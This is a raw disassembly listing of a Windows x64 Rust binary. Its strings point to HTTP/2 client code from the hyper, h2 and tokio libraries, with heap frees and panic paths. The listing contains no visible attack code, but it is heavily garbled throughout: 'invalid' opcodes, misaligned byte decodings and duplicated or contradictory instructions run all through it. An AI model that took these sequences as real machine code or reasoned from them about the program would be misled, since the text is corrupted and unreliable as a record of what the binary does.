movups xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [rsp + 0x310]
movups xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [rsp + 0x300]
movups xmmword [rsp + 0x200], xmm0
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x2c0], al
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x2c0], al
movaps xmm1, xmmword [rsp + 0x2d0]
movaps xmm2, xmmword [rsp + 0x2e0]
movaps xmm3, xmmword [rsp + 0x2f0]
and al, 0xf0
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x1f0], ebx
and al, 0xf0
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x1f0], ebx
movups xmmword [rsp + 0x1e0], xmm2
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x230], r15
xor byte [rdx], al
add byte [rax], al
xor byte [rdx], al
add byte [rax], al
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], r14
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x248], xmm0
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x1b8], 4
jmp 0x14008d12f
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x14008cf90
lea r12, [r15 - 1]
mov rbp, qword [r15 - 1]
mov rdi, qword [r15 + 7]
mov rcx, rbp
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14008cf79
cmp qword [rdi + 0x10], 0x11
jb 0x14008cf67
mov rbp, qword [rbp - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14008cfb5
lock dec qword [rax]
jne 0x14008cfb5
lea rcx, [rsp + 0xb0]
lea ecx, [rsp + 0xb0]
call fcn.1400055f0
mov rcx, qword [rsp + 0x38]
cmp rcx, 3
jne 0x14008d001
mov rdi, qword [rsp + 0xb8]
test rdi, rdi
je 0x14008d001
lea r15, [rsp + 0xb8]
mov rcx, r15
call fcn.140026d50
lock dec qword [rdi]
jne 0x14008cfe6
mov rcx, r15
call fcn.140005020
mov rax, qword [rsp + 0xc8]
lock dec qword [rax]
jne 0x14008d001
mov rcx, qword [rsp + 0xc8]
call fcn.140087210
movaps xmm0, xmmword [rsp + 0x380]
movaps xmm1, xmmword [rsp + 0x390]
movaps xmm2, xmmword [rsp + 0x3a0]
movaps xmm3, xmmword [rsp + 0x3b0]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmmword [rsp + 0x2d0], xmm1
movaps xmmword [rsp + 0x2e0], xmm2
movaps xmmword [rsp + 0x2f0], xmm3
movaps xmm0, xmmword [rsp + 0x3c0]
add byte [rdi], cl
sub dword [rsp + 0x300], eax
add byte [rdi], cl
sub dword [rsp + 0x300], eax
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x320], xmm0
mov rax, qword [r13]
mov qword [r13], 2
cmp rax, 2
je 0x14008d418
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsi + 0x58]
pop rax
pop rax
movups xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x1b0], r14
add byte [rax], al
and al, 0x18
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xb0
add dword [rax], eax
add byte [rax], al
invalid
invalid
test byte [rax + rdi*4], ah
and al, 0xb8
add byte [rax], al
mov qword [rsp + 0x1b8], 3
movaps xmm0, xmmword [rsp + 0x2c0]
and al, 0xb8
add dword [rax], eax
add byte [rbx], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x2c0], al
movaps xmm1, xmmword [rsp + 0x2d0]
movaps xmm2, xmmword [rsp + 0x2e0]
movaps xmm3, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0x1c0], xmm0
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1e0], xmm2
movups xmmword [rsp + 0x1f0], xmm3
movaps xmm0, xmmword [rsp + 0x300]
sub byte [rsp + 0x300], al
sub byte [rsp + 0x300], al
movups xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [rsp + 0x310]
movups xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movups xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x248], xmm0
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x1b0]
add dword [rax], eax
add al, ch
invalid
lahf
std
invalid
add dword [rax], eax
add al, ch
mov esp, 0x48fffd9f
mov ecx, ebx
mov rcx, rbx
call fcn.14008be70
cmp dword [r13], 2
jge 0x14008d150
invalid
je 0x14008d15b
jge 0x14008d150
add dh, byte [rax + rcx + 0x4c]
mov ecx, ebp
mov rcx, r13
call fcn.140065ab0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa0], cl
movaps xmm6, xmmword [rsp + 0x4a0]
add rsp, 0x4b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdx, rdx
je case.0x1400d62e6.1820
mov rax, qword [rdx + 0x30]
nop
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
cmpxchg qword [rdx + 0x30], rcx
cmpxchg qword [rdx + 0x30], rcx
jne 0x14008d190
and eax, 0xa
cmp eax, 8
jne 0x14008d1b8
or al, byte [rbx + 0x117508f8]
mov rax, qword [rdx + 0x10]
mov rcx, qword [rdx + 0x18]
mov rdi, rdx
call qword [rax + 0x10]
mov rdx, rdi
lock dec qword [rdx]
jne case.0x1400d62e6.1820
sti
invalid
mov rcx, rdx
call fcn.1400372d0
jmp case.0x1400d62e6.1820
mov r12, rdx
mov r13, rcx
call fcn.1401105f0
mov rcx, r13
mov rdx, r12
test al, al
jne 0x14008c37f
mov byte [rbx + 0x11], 1
jmp 0x14008c37f
mov rcx, r14
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14008c884
call fcn.1401105f0
mov ebp, eax
xor bpl, 1
movzx eax, byte [rdi + 0x11]
test al, al
je 0x14008c892
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x80], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012b758]
lea r8, [rsp + 0x78]
mov edx, 0x2b
call fcn.1401088e0
call fcn.1401105f0
test al, al
jne 0x14008c8bf
mov byte [rdi + 0x11], 1
jmp 0x14008c8bf
or dword [rax], eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x48]
call fcn.140108560
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0xa0], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0xa8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x48]
call fcn.140108560
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.14010d200
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x44]
mov byte [rsp + 0x50], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140116720]
lea r8, [rsp + 0x48]
mov edx, 0x2b
call fcn.1401088e0
mov byte [rsi + 0x98], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.140108630
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x78], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
lea eax, [0x1401295a8]
lea eax, [0x1401295a8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x58], rbp
add byte [rax - 0x77], cl
insb byte [rdi], dx
and al, 0x58
mov qword [rsp + 0x60], 1
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x48]
call fcn.140108560
mov cl, 7
invalid
mov cl, 7
add byte [rcx + rcx*4 + 0x41], cl
or byte [rax - 0x73], cl
or eax, 0xb2ce9
mov qword [rcx + 8], r8
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140108990
lea rcx, str.polled_after_complete
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x15
call fcn.140108990
add al, ch
invalid
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x78], rax
and al, 0x78
lea rax, [0x14001b1f0]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x48]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
call fcn.140108970
invalid
mov ah, 7
invalid
invalid
add byte [rax - 0x73], cl
or eax, 0xb190c
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
or eax, dword [rax]
mov edx, 0x25
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108970
lea rcx, str.poll_response_called_after_response_returned
lea r8, [0x140129360]
mov edx, 0x2c
call fcn.140108c40
lea rcx, str.polled_after_complete
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x15
call fcn.140108990
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
ud2
mov ecx, 8
mov edx, 0x50
call fcn.1401082c0
int3
int3
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
and eax, dword [0x1008e1d42]
and eax, dword [0x1008e1d42]
je 0x14008d63c
mov rbx, rax
movups xmm0, xmmword [0x14014c810]
movups xmmword [rax + 0x10], xmm0
adc dword [rax + 0x10], eax
adc dword [rax + 0x10], eax
movups xmm0, xmmword [0x14014c800]
movups xmmword [rax], xmm0
mov qword [r14], rax
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008d62d
mov qword [rax], rdi
mov qword [rax + 8], rsi
lea rcx, [0x14013fc08]
mov qword [rsp + 0x20], rcx
movabs r15, 0x91ede5d860505485
movabs r14, 0xbce16841f1e6ceb8
mov rcx, rbx
mov rdx, r15
mov r8, r14
mov eax, esi
mov eax, esi
mov r9, rax
call fcn.14004e000
mov esi, 2
test rax, rax
je 0x14008d61b
mov rdi, rax
mov rbx, rdx
mov rcx, rax
call qword [rdx + 0x18]
cmp rax, r15
jne 0x14008d5f2
cmp rdx, r14
jne 0x14008d5f2
mov rsi, qword [rdi]
mov rbx, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008d61b
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008d61b
cmp qword [rbx + 0x10], 0x11
jb 0x14008d609
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
mov rdx, rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
int3
mov r14, qword [rsi]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x140018f24.2290
test eax, eax
jne 0x14008d7ef
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
insd dword [rdi], dx
imul eax, dword [0x1b061beca], 0x87c60004
and byte [rcx], al
add byte [rax], al
invalid
insd dword [rdi], dx
imul eax, dword [0x1b061beca], 0x87c60004
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xf4c3f05], ecx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
movzx edi, byte [rcx + 0x11d]
mov ecx, edi
test al, al
je 0x14008d702
test dil, dil
je 0x14008d819
lea ecx, [rdi - 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x11d], cl
add byte [rax], al
add byte [rax], al
test al, al
sete bpl
test rbx, rbx
jne 0x14008d7fd
jmp 0x14008da20
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x568a9
call fcn.1400d4720
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
movzx edi, byte [rcx + 0x11d]
mov ecx, edi
test al, al
je 0x14008d7c2
test dil, dil
je 0x14008d819
lea ecx, [rdi - 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x11d], cl
test al, al
sete bpl
test rbx, rbx
jne 0x14008d8c5
jmp 0x14008da20
xor edi, edi
mov bpl, 1
test rbx, rbx
je 0x14008da20
mov rax, qword [rbx + 0xd0]
test al, 4
jne 0x14008d9f9
test al, 8
jne 0x14008d82b
test al, 8
je 0x14008d87b
jmp 0x14008d8d9
mov rax, qword [r14]
mov rcx, qword [r14 + 8]
call qword [rax + 0x10]
mov sil, 1
jmp 0x14008d9fb
add dword [rax], eax
add byte [rax - 0x75], cl
mov edi, dword [rax + 0x49000000]
cmp ecx, dword [rsi + 8]
mov rcx, qword [rbx + 0xb8]
cmp rcx, qword [r14 + 8]
jne 0x14008d844
mov rcx, qword [rbx + 0xb0]
cmp rcx, qword [r14]
je 0x14008d810
mov rax, qword [rbx + 0xd0]
nop dword [rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rbx + 0xd0], rcx
jne 0x14008d850
test al, 4
jne 0x14008d9e8
mov rax, qword [rbx + 0xb0]
mov rcx, qword [rbx + 0xb8]
call qword [rax + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbx + 0xb0], rax
mov qword [rbx + 0xb8], rdx
mov rax, qword [rbx + 0xd0]
nop dword [rax]
mov rcx, rax
or rcx, 8
or al, dh
cmpxchg qword [rbx + 0xd0], rcx
or al, dh
cmpxchg qword [rbx + 0xd0], rcx
jne 0x14008d8a0
jmp 0x14008d95f
add byte [rcx], dh
inc dword [rax - 0x4b]
add dword [rax - 0x7b], ecx
fisttp dword [rdi]
test byte [rbx + 1], bl
add byte [rax], al
mov rax, qword [rbx + 0x30]
test al, 4
jne 0x14008d9f9
test al, 8
jne 0x14008d8ea
test al, 8
je 0x14008d932
mov sil, 1
test bpl, bpl
je 0x14008d972
jmp 0x14008d9fb
mov rcx, qword [rbx + 0x18]
cmp rcx, qword [r14 + 8]
jne 0x14008d8fd
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [r14]
je 0x14008d8d5
mov rax, qword [rbx + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x14008d910
test al, 4
jne 0x14008d9f3
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
call qword [rax + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rdx
mov rax, qword [rbx + 0x30]
nop word [rax + rax]
mov rcx, rax
mov ecx, eax
or rcx, 8
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x14008d950
and eax, 4
sete sil
shr eax, 2
or al, bpl
jne 0x14008d9fb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov sil, 1
cmp eax, 1
je 0x14008d9c5
test eax, eax
jne 0x14008d9fb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], dil
jmp 0x14008d9fb
lock or qword [rbx + 0xd0], 8
jmp 0x14008d9f9
lock or qword [rbx + 0x30], 8
xor esi, esi
mov eax, esi
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
push 0x39
or eax, dword [rax]
mov edx, 0x28
call fcn.140108630
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
or eax, 0xb3e19
call fcn.140108970
int3
int3
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov r14, rdx
sub r14, rcx
cmp rbx, r14
cmovb r14, rbx
mov rbx, r14
add rbx, rcx
jb 0x14008defc
cmp rbx, rdx
ja 0x14008df0b
mov rdx, qword [rsi + 0x30]
add rcx, qword [rdi]
mov r8, r14
call fcn.140106530
cmp qword [rdi + 0x18], rbx
jae 0x14008dbc9
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x10], rbx
mov qword [rsp + 0x80], r14
mov rax, qword [rsi + 0x38]
mov rcx, rax
sub rcx, r14
jb 0x14008df1a
mov qword [rsi + 0x38], rcx
add qword [rsi + 0x30], r14
add rsi, 0x18
lea rcx, [rsp + 0x20]
mov rdx, rsi
mov r8, r14
call fcn.14002db00
movzx eax, byte [rsp + 0x20]
cmp eax, 5
je 0x14008ddc6
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14008ddc6
test eax, eax
je 0x14008ddc6
cmp eax, 1
jne 0x14008dd70
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
jmp 0x14008ddc6
lea ebp, [rsp + 0xa8]
nop dword [rax + rax]
mov rcx, r13
mov rdx, r15
mov r8, r14
call fcn.14002d180
movzx ecx, byte [rsp + 0xa8]
cmp ecx, 7
je 0x14008dd67
mov rax, qword [rbp + 0xf]
mov qword [rsp + 0x8f], rax
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0x80], xmm0
mov rbx, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
cmp ecx, 5
jne 0x14008dd0d
test rbx, rbx
jne 0x14008dde0
mov rcx, r15
call 0x14002d730
test al, al
jne 0x14008ddde
lea rax, [rsp + 0x87]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], r12
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x38]
xor r8d, r8d
call qword [rax + 0x10]
jmp 0x14008dc70
mov eax, 0
cmp ecx, 6
mov edx, 0
je 0x14008ddca
mov byte [rsp + 0x58], cl
movups xmm0, xmmword [rbp]
movups xmmword [rsp + 0x59], xmm0
mov rax, qword [rbp + 0xf]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], r12
test ecx, ecx
je 0x14008de31
cmp ecx, 1
je 0x14008dd56
cmp ecx, 2
jne 0x14008de77
mov eax, dword [rsp + 0x5c]
test eax, eax
jne 0x14008de39
jmp 0x14008de43
mov eax, 1
xor edx, edx
jmp 0x14008ddca
mov rax, qword [rsp + 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008ddc6
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008ddb4
cmp qword [rbx + 0x10], 0x11
jb 0x14008dda2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lodsb al, byte [rsi]
push rbp
or byte [rax], al
lodsb al, byte [rsi]
push rbp
or byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
xor eax, eax
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ebx, ebx
lea rax, [rsp + 0x87]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xd0], xmm0
mov rcx, qword [rsi + 0x48]
mov rdx, rbx
call fcn.1400354e0
lea rcx, [rsi + 0x40]
mov rax, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x30]
xor r8d, r8d
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0xd0]
mov rax, qword [rsp + 0xa0]
movups xmmword [rax], xmm0
mov qword [rsi + 0x38], rbx
mov qword [rsi + 0x40], r12
jmp 0x14008db86
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x14008de43
cmp eax, 5
je 0x14008deb2
cmp eax, 8
jne 0x14008de77
xor edx, edx
test ecx, ecx
je 0x14008ddc8
cmp ecx, 1
je 0x14008dee2
invalid
mov word [rax], es
add byte [rax], al
test byte [rax + rax - 0x67d0000], cl
add cl, byte [rdi]
test byte [rcx - 1], ch
invalid
cmp ecx, 2
je 0x14008ddc8
mov rax, qword [rsp + 0x60]
mov ecx, eax
and ecx, 3
cmp ecx, 1
je 0x14008dd7f
jmp 0x14008ddc6
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
movaps xmmword [rsp + 0x30], xmm1
cmp byte [rsp + 0x20], 4
jne 0x14008dea6
mov rdx, qword [rsp + 0x28]
jmp 0x14008ddc8
lea rcx, [rsp + 0x20]
call fcn.140039d20
jmp 0x14008deda
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call fcn.14008e5b0
mov rdx, rax
jmp 0x14008ddc8
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, rbx
call qword [rax + 0x10]
jmp 0x14008ddc6
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2mod.rs
mov rdx, rbx
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2mod.rs
mov rcx, rbx
call fcn.140108620
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x58], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 2
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x20]
call fcn.140108560
int3
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xf0
test r9, r9
je 0x14008e015
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov r8, rsi
call fcn.14008a080
cmp byte [rsp + 0xa0], 7
jne 0x14008dfdb
mov eax, 2
jmp 0x14008e019
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rax
movaps xmmword [rsp + 0x30], xmm1
movzx eax, byte [rsp + 0x20]
cmp eax, 5
je 0x14008e028
cmp eax, 6
jne 0x14008e1ba
xor edx, edx
xor eax, eax
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rsp + 0x28]
cmp rax, rbx
ja 0x14008e35e
test rax, rax
mov rbx, rax
je 0x14008e063
js 0x14008e370
movzx ecx, byte [0x140182310]
xor ecx, ecx
mov rdx, rax
call fcn.1400df910
test rax, rax
je 0x14008e375
mov r15, rax
jmp 0x14008e069
mov r15d, 1
mov edi, 1
mov rcx, r15
mov rdx, r14
mov r14, rbx
mov r8, rbx
call fcn.140106530
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xc8], 1
lea rcx, [rsp + 0x48]
lea r8, [rsp + 0xc8]
mov rdx, rdi
xor r9d, r9d
call fcn.14008a580
cmp byte [rsp + 0x48], 5
jne 0x14008e116
movzx eax, byte [rsp + 0x20]
cmp eax, 6
mov rdx, rbx
je 0x14008e017
cmp al, 5
je 0x14008e017
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14008e017
test eax, eax
je 0x14008e017
cmp eax, 1
jne 0x14008e2fb
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
call qword [rax + 0x10]
mov rdx, rbx
jmp 0x14008e017
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x90], rax
movaps xmmword [rsp + 0x80], xmm1
cmp byte [rsp + 0x70], 4
jne 0x14008e148
mov rax, qword [rsp + 0x78]
jmp 0x14008e152
lea rcx, [rsp + 0x48]
and al, 0x48
call fcn.140039d20
mov ebx, 0xc189fffa
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008e1a4
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14008e192
dec dword [rbx + rcx*4 + 0x70]
dec dword [rbx + rcx*4 + 0x78]
invalid
cmp qword [r15 + 0x10], 0x11
jb 0x14008e180
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [rsp + 0x20]
cmp eax, 6
je 0x14008e23b
add byte [rax], al
add byte [rax], al
